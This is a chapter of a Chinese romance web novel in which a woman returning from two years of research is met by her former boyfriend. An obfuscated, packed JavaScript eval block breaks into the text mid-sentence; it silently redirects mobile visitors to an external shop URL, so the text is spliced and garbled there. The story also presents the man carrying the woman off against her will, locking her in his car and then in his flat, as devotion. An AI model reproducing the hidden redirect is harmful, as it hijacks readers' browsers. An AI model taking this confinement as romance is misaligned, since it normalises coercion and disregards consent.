两年后,尤教授带着他们终于完成研发,首批疫苗投入市场后反响非常好,看到那些称得上惊世的成果,鹿绒绒曾经枯萎的心脏丰盈至极。
反复看了反响报告后,尤教授才带着团队将这一项研发收尾。
离开时,鹿绒绒回头看了一眼这埋头苦研了两年的地方。
这两年,她成长了很多太多太多,也收获了太多太多。
而未来,她会跟着导师和团队伙伴们一起,为更多的生命争取到活下来的权益。
她坚信,即便身为凡人,也一定能在破解生命密码上创造奇迹。
回到尤教授实验室时,无数媒体守在实验室外采访尤教授,鹿绒绒溜到实验室里面,找到简呈。
简呈笑得很是灿烂,专注地看她一会。
“还好,没瘦。”
鹿绒绒看着两年没见的简呈,倍感亲切,笑得眉眼弯弯:
“当然,我们伙食很好的!厨房每天换着花样给我们补充营养。”
简呈将手中盒子递给她:“你的新手机。”
她的旧手机在江知月家里,款式应该过时了,她在回来前就提前拜托简呈帮她买了最新款手机。
“谢谢师兄。”
她现在已经晋升成尤教授的助理了,简呈不再是她老板,因此喊师兄更合适。
将组织提前替她补办好的电话卡插入新手机,把微信下载下来,聊天界面一片干净,看得她心情平和极了。
她往窗外看了一眼,窗外雪色空濛,今天依旧在下着雪,和她离开那天下的一样大。
但心境完全不一样了。
她在深夜的哭泣中一次次重建自己,在争分夺秒的实验里拼搏出炽热的生命力,现在的她,羽翼成辉,要开启新的生活啦。
此刻正值寒假,鹿绒绒的老同学们都已经升至大四,下学期,她就要和新的大二生一起上课了。
尤教授接受完采访后也进了实验室,鹿绒绒和尤教授告别,又将自己的一些东西寄回家,才离开实验室,准备一身轻松地去赶高铁,回家给父母一个惊喜。
一出实验室,却意外至极地看见岑珀昼站在漫天大雪里。
岑珀昼皮肤很白,站在风雪中不知道等了多久,肩膀发梢,还有眼睫上都挂满了雪花,脸上也没有血色,整个人白的跟鬼一样。
看见她的那瞬间,他眼眶顷刻红了,睫毛上的雪花随之融化,和眼泪一起滑了下来。
而后他冲过来,紧紧地抱住她,力道大的撞得鹿绒绒肋骨都有些疼,抱住她后,岑珀昼一遍一遍地喊她名字。
“绒绒。”
“绒绒。”
“绒绒。”
鹿绒绒短暂地怔忡后,开始挣扎,他什么意思?把她推入深渊,她自己爬上来了,现在想起拉她一把了?
发觉鹿绒绒想要挣脱他,岑珀昼越发紧地抱住她,额头和手背上凸出青色脉络。
岑珀昼继续道:
“终于见到你了,绒绒。”
“我好想你。”
“对不起绒绒。”
鹿绒绒更加疑惑,他为什么能第一时间出现在这里,为什么这么个深情的样子,为什么要说对不起。
力量悬殊太大,鹿绒绒干脆不挣扎了,道:
“我不需要对不起。”
“但你这又是在做什么啊?”
不是说了这辈子再也不要见到他。
岑珀昼终于有机会将迟了两年的解释说了出来:“绒绒,两年前,我车祸,短暂失忆,所以在公司才没有认出你,但第二天,我就就全部都想起来了。”
“我没有不喜欢你,没有玩弄你的感情,没有把你当做一个攻略的目标。”
“……哦。”鹿绒绒平静道,“两年了,这两年我已经忘掉你了,我们之间的种种都是过去式了。”
“现在说这些,也没什么意义了。”
岑珀昼明显惊慌失措,胸口起伏剧烈,甚至产生车祸时候的晕眩感:“不可以,不可以忘了我。”
“那时候我脑子有问题,你怎么能跟一个脑子有毛病的人一般见识。”
岑珀昼难极了,也遗憾极了:“明明都百分百喜欢了。”
鹿绒绒依旧无比平静:“清零了,岑珀昼,两年前不是清楚明白地告诉你,清零了。”
岑珀昼抱着她的手抖如筛子,心脏也仿佛在一寸寸冰裂,不愿相信自己听到的话,依旧道:“没有清零,绒绒那两天不是我,可能有什么附在我身上了,真正的我怎么可能那样对你呢,你不能让我变成无辨之囚。”
鹿绒绒:“……”
他当年让她当他女朋友的时候就是这样绕她的。
不会再上当了。
鹿绒绒又推了推岑珀昼,分毫推不动,才继续道:“现在说什么都没有意义了”。
“回去吧,岑珀昼,我们之间,两年前都已被定论。”
岑珀昼抱她更紧,眼前翻飞的雪花像是时光的印记,每分每秒都被她填满。
“回哪啊……”他眼眶红得泪水都落了下来。
“我们两年没见了,你甚至都不愿意让我多抱一会。”
“我不是你女朋友了!”
鹿绒绒有些生气了,“你放开我,大庭广众的,我们的关系不适合这样。”
“绒绒不想在外面是吗。”
“那回家。”世界在岑珀昼眼中被虚化,他喃喃道,“对,我们回家,有你在的地方就是家。”
“我们回家再抱。”
鹿绒绒:“……”
她发现岑珀昼现在已经听不懂她说话了
岑珀昼直接将鹿绒绒公主抱,打开一旁车门,将她放在副驾上,又利落锁住门。
鹿绒绒试图从驾驶位那个门钻出去,刚起身,岑珀昼就坐上驾驶位,覆身而上,借着给她系安全带的姿势将她重新压回座位。
鹿绒绒气急攻心,直接扇了他一巴掌。
岑珀昼动也没动,缓缓掀起发红的眼睛看着她。
不得不说,他那双深邃的瑞凤眼真的是太具有迷惑性了。
轻颤的睫毛上还挂着雪片化成的水珠,眼中是未消的泪光,看她的眼神裹挟着回忆,满是想念和爱意。
鹿绒绒被他看得心口一窒。
但最初就是这双眼睛,骗得她同意和他试试。
她不会再上当了。
鹿绒绒闭上眼睛,不看他了。
车子驶回岑珀昼家的一路,他都在跟她说话,絮絮叨叨地讲诉这两年江知月齐云跃的一些事情,讲诉他公司的发展情况,讲诉社会前进的步伐。
鹿绒绒全程闭目养神,完全不搭理他。
车子停到车库里时,门锁打开,鹿绒绒下车就跑。
岑珀昼长腿两步追上,将她拦腰抱起,紧按在怀里,语调轻柔:“绒绒,我们回家。”
体力悬殊太大,鹿绒绒根本挣扎不动,只能眼睁睁地看着他抱着自己进电梯,直
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17565905|204278||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
达他家。
这是鹿绒绒第一次来岑珀昼家。
是一个视野开阔、面对湖泊的大平层,客厅巨大的玻璃如影院巨幕,将窗外如画卷般的景色框入眼眸。
全屋装修以天然石材、金属、木质材料为主,高级简约,藏奢于景。
但她没心情欣赏。
岑珀昼将她放在沙发上后,又在手机上按了一下,“哒哒”两下,鹿绒绒就听见了门上锁的声音。
鹿绒绒:“……”
她抬眸看向岑珀昼,看见他把电视打开。
电视大屏上出现他们的合照。
岑珀昼扬起唇,坐到她身边,情绪高涨地给她介绍这些照片:
“绒绒,这是我们恋爱第二天,去【滇赴山野】吃炸玫瑰的时候,我拜托服务生拍的。”
“那个时候我头发挑染了蓝色,绒绒喜欢这个发色,明天我再去挑染个蓝色好不好。”
鹿绒绒拒绝回答。
岑珀昼并不在意。
接着往下翻照片。
“这张在《穿越时空缝隙回到我们初遇的那天》那幅画前看画的时候,我拜托工作人员帮我们拍的。”
“这张是合欢树下,我找路人偷偷帮我们拍的。”
“这个是Y大的湖边……”
而这些照片,这两年中岑珀昼看过无数次。
深夜来临,大脑会无时无刻地调动着这一个个心动瞬间,走马灯似的来回上演。
这些画面场景,几乎被他供成了支撑自己活下去的神殿。
因此,他也说不好,今天出现在鹿绒绒面前的,是一具死了两年的尸体,还是一副失了灵魂的躯壳。
……
此刻鹿绒绒才知道。
那两年,他真的拜托过很多人帮他们拍合照。
但时过境迁,这一切她都不在意了。
鹿绒绒将抱枕盖在脸上,挡住眼睛和耳朵,不想看那些照片也不想听他自言自语。
但岑珀昼依旧滔滔不绝地给她介绍着。
鹿绒绒终于受不了,将抱枕扔他身上:
“不要再说从前了!”
“你也别喜欢我了,我这两年也变了,跟之前完全不一样了,变得俗不可耐庸俗爱钱。”
岑珀昼眼睛亮了:“我有钱,都给你。”
“能给我升点分吗?”
鹿绒绒无语至极,提了声音:“你怎么听不懂呢,喜欢值清零了,我们不可能了,没有升分系统了!”
岑珀昼又不说话了。
他抱着鹿绒绒,头埋在她脖颈处,胸口传来巨大的缺氧感觉。
命运从来都没有偏爱过他。
高考后的那个暑假,加上绒绒微信的午后,他看着她的头像正思考着怎么告白,就收到了她的告白消息。
那瞬间,他惊喜到发癫,不敢置信,立刻截图怕她撤回。
但下一秒她就真的撤回了。
他胡搅蛮缠,才抓住这个机会。
拼尽全身解数让她对他的喜欢值升到100%。
可又能怎么样呢。
一场离谱的意外让一切清了零。
还不止清零,如果只是清零,回到原点,那还有开始的机会。
两年,她彻底将他从她世界中剔除了,他也因为找不到爱人而性情大变。
怎么办呢。
现在要怎么办呢。
他紧紧地抱着她,却一点留住她的筹码都没有。